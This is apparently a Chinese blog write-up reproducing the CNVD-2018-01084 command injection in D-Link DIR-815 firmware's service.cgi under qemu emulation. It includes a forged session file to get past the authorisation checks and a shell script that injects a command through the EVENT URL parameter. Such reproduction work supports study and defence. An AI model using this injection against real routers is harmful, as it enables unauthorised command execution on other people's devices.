CNVD2018-01084(DIR815)命令执行漏洞复现

libc地址:0x2b300000

固件链接:legacyfiles.us.dlink.com - /DIR-815/REVA/FIRMWARE/
(这篇文章用的1.02版本)

参考:
CNVD-2018-01084 | Hexo
[原创] CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区

这个洞在网上找了不少资料,但还是没找到有关的文章,所以就单纯用户模式走一遍了

逆向
存在问题

这部分是对sess_valitable存在问题的解决,是比较靠后的内容,可以先看后面的那节

这个洞我在复现时是遇到了一个比较奇怪的问题:

在 sess_ispoweruser 遇到了无论怎么设置 COOKIE 返回值都会是0,以断掉后续的漏洞点所在的执行流,解决方法只能是patch

sess_validateimage-20251113193938639image-20251113195253569

如果v11不是-1

sub_40795Cimage-20251113194347836
这里如果 sub_407660 能返回0,就可以保持刚才那个v11为0的状态进行返回,这样外面就不会中断了

sub_407660image-20251113194635247
可以看到,如果这个文件正常存在,这里就会提前结束逻辑并返回0

反推回去,就会发现如果这个文件正常存在,sess_ispoweruser就能正常返回1了
image-20251113195410397

这点倒是在其他师傅的文章里看到了,其他师傅的描述是"由于仿真环境很难模拟出那个目录,可以patch一下",根据目录名 /var/session/<N>推测是用来存储会话信息的文件,所以仿真环境里可能确实无法模拟出来。
但其他师傅碰到的情况是"会卡死",我这边还是可以继续跑的,只是会导致外层的判断不通过,我这里就当成一回事考虑了(因为我太菜了,分析不明白这个问题QAQ)

这里我是简单看了下这几个函数的逻辑,发现其实是可以手动创建一个session函数来绕过这些问题的

刚才出问题的路径已经分析过了,这里直接给出一条能顺利解决问题的路径了
①从 sub_40795c 开始,首先这个位置是肯定能走到的

image-20251114012400659
而后面的 return i 就是第一步,因为前面说的那个很关键的v11在这个函数中是 (DWORD)a1+1 ,只要这个点不动,就不会有事,所以要尽量提前返回,也就是这里的return i了,而且这个 i 始终大于等于0,也不会影响外层对返回值的判断

②来到 sub_407660 ,我们要让它返回值为0,因为第三个参数a3是0,会走这里

image-20251114012737927
直接给出结论:需要读取的文件内容长度正好是232。为了方便后续调整,用cyclic生成不重复字串

③然后我们往外扒,回到 sub_40795c ,刚才那个return i的进入条件(条件1忽略)是 strcmp(a1+8, a2) = 0,即a1+8 == a2
那这俩指针是什么?调试看一下:

#这里先忽略其他内容要求的环境变量情况了
python3 ./make1.py
#往/var/session/1里写232个不重复字符
INPUT="trace"
echo $INPUT | qemu-mipsel -L . \
-0 "service.cgi" \
-g 3132 \
-E REQUEST_URI="aaa?bbb;ccc" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=5 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="uid=ink" \
./htdocs/cgibin

会发现其实就是我们在HTTP_COOKIE里写的uid内容,对应文件内容中 caaa 的位置,直接替换成uid内容即可image-20251114013546097

这样一来就成功让 sub_40795c 提前返回了,成功防止 sess_validate 的 v11 变成 -1(至于为什么不是保持0了,下一步会说)

④继续往外,来到 sess_validate ,不难看出,v11大于0时,会走到这里

download

这里动态分析就能看出来,其他其实都不太用管,只管44行那个 v0 = v11 就行了,返回值就是此时的 v11 值,那我们接着调试看v11是什么

会发现就是前面那个session文件读入的内容,定位在baaa的位置 (这是因为前面读取那个文件的时候写到这个位置了,可以自行调试找那个read调用的位置看一看),所以接着在里面写一个合适的值就行了,写多少这个函数就返回多少

⑤终于回到了sess_ispoweruserimage-20251114014720539不难看出其实就是返回值 ∈ [0,100)

from pwn import *
data = b'aaaa'+p32(77)+b'ink\0daaa...'
fd = open("./var/session/1", "wb")
fd.write(data)
fd.close()

再来试试

image-20251114014924495成功让返回值为77

fig:

这下终于能顺利的走我们想要的漏洞点了(泪目)

主要

一上来还是方法检查,GET会掠过漏洞点,肯定不能考虑image-20251114015510321
所以要把 REQUEST_METHOD 设置成 POST

接着就是 cgibin_parse_request,是用来处理请求体信息的 image-20251114015728894
进去后首先就是两个环境变量

download

这里的 v7 也就是 CONTENT_LENGTH 要留意,后面有影响
而CONTENT_TYPE则是无所谓,只要有内容就行

再往后,是一个对 REQUEST_URL 的处理

download

这部分说实在的我也暂时没读明白,但是多数大佬说是用来读取 url 里的参数的,那就是(
需要注意的是可以进 sub_402b40 里看看,里面有路径参数分割情况 image-20251114020417804image-20251114020436889
测试分析阶段可以不管,随便给一个 aaa?bbb=ccc意思一下就行

再往后,看起来比较复杂,但是其实可以调试看

download

这样就很清晰了,这个奇怪的回调函数是 sub_403b10
fig:

这个地方实际上类似于一个取键值对决定调用目标的逻辑, off_42c014是一个键值对表,键是字符串,值是函数指针,字符串会拿来和CONTENT_TYPE的内容对照,也就是78行那个 strncasecmp 的作用,然后就调用了对应位置的 sub_403b10 指针

IDA里找到这个函数image-20251114112455873

不难看出我们需要它走 ret sub_402FFC 那条
接着跟进,进去发现这个函数是一个类似于对标准输入流接受数据的地方,其实就是处理请求体数据内容的(大概)
这里贴一段写过注释简单备注过变量名的

image-20251114112905662
image-20251114112924715
总结一下就是:需要标准输入流有内容,而且内容长度就是CONTENT_LENTH的长度,这样就可以让这个函数里的循环一次结束然后返回非负值

审计完这个函数后,就知道应该把脚本写成这样:

INPUT="trace"
echo $INPUT | qemu-mipsel -L . \
-0 "service.cgi" \
-g 3132 \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=5 \
-E CONTENT_TYPE="application/xxx" \
-E REQUEST_URI="aaa?bbb=ccc" \
./htdocs/cgibin

然后就到了 sess_ispoweruser 函数,这个函数总结下来结合函数名,大概是判断用户身份的,里面的一个核心逻辑在前面也分析过了,这里就再把它的外层逻辑大概看一下
直接进到sess_validate,这里有对用户身份的获取

image-20251114113457304可以看到是获取 uid 值到string变量里

image-20251114113724712
也就是说在 HTTP_COOKIE 里写一个 uid = xxx 就可以了 (但是结合对那个/var/session/N的判断的话,感觉打实机可能还会涉及一些对该路由器过去session信息的获取然后合理伪造?不是很懂,既然只是复现就不管了)

至于更里层的分析就都在上面那节了

过完这个函数后,就到漏洞点了:image-20251114114153896

image-20251114115837918
这里是对这三个参数进行了获取,我们还是调试来看这是获取了哪里的内容

image-20251114115931129

这个函数里多次的对 off_42c120 这个全局变量进行操作,我们就看看它是什么
image-20251114120132964

发现就是 REQUEST_URL 的内容

这里实在是懒得再去分析什么时候写进来的了,大概就是 cgibin_parse_request 里发生的吧

所以要控制 EVENT 的内容就可以直接在 REQUEST__URL 写 ?EVENT=xxx

再来看怎么进行命令执行

image-20251114120503435如果成功获取到了 event 的内容,就会直接跳到image-20251114120531486

所以其实就是写一个EVENT参数就可以了,其他两个字段别管就行了

由于对这个拼接出的命令不存在任何过滤(除了处理URL时的 & 分隔符,其他字符都可以随便输入),我们可以用 ; 作分隔符执行任意命令

攻击

总结上面的分析可以写出如下攻击脚本

#/bin/sh
python3 ./make1.py
#写入b'aaaa'+p32(77)+b'ink\0daa'
INPUT="trace"
echo $INPUT | qemu-mipsel -L . \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=5 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_URI="aaa?EVENT=;echo PWN!!!-TRACE-;" \
-E HTTP_COOKIE="uid=ink" \
./htdocs/cgibin

成功输出:image-20251114125747963

posted @ 2025-11-14 13:15  ink777  阅读(3)  评论(0)    收藏  举报